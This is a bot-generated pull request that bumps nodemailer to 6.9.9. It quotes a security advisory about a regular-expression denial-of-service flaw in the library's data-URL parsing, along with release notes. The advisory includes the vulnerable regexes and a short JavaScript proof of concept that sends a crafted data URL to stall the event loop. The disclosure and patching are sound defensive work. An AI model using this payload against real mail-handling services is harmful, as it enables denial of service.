Update dependency nodemailer to v6.9.9 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
nodemailer (source)	6.9.5 -> 6.9.9

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Warning

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GitHub Vulnerability Alerts

GHSA-9h6g-pr28-7cqp

Summary

A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop.
Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.

Details

Regex: /^data:((?:[^;];)(?:[^,])),(.)$/

Path: compile -> getAttachments -> _processDataUrl

Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/

Path: _convertDataImages

PoC

https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6
https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698

async function exploit() {
   const MailComposer = require(\"nodemailer/lib/mail-composer\");
   const MailComposerObject = new MailComposer();

   // Create a malicious data URL that will cause excessive backtracking
   // This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
   const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';

   // Call the vulnerable method with the crafted input
   const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}

await exploit();

Impact

ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.

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Release Notes

nodemailer/nodemailer (nodemailer)

v6.9.9

Compare Source

Bug Fixes

• security: Fix issues described in GHSA-9h6g-pr28-7cqp. Do not use eternal matching pattern if only a few occurences are expected (dd8f5e8)
• tests: Use native node test runner, added code coverage support, removed grunt (#​1604) (be45c1b)

v6.9.8

Compare Source

Bug Fixes

• punycode: do not use native punycode module (b4d0e0c)

v6.9.7

Compare Source

Bug Fixes

• customAuth: Do not require user and pass to be set for custom authentication schemes (fixes #​1584) (41d482c)

v6.9.6

Compare Source

Bug Fixes

• inline: Use 'inline' as the default Content Dispostion value for embedded images (db32c93)
• tests: Removed Node v12 from test matrix as it is not compatible with the test framework anymore (7fe0a60)

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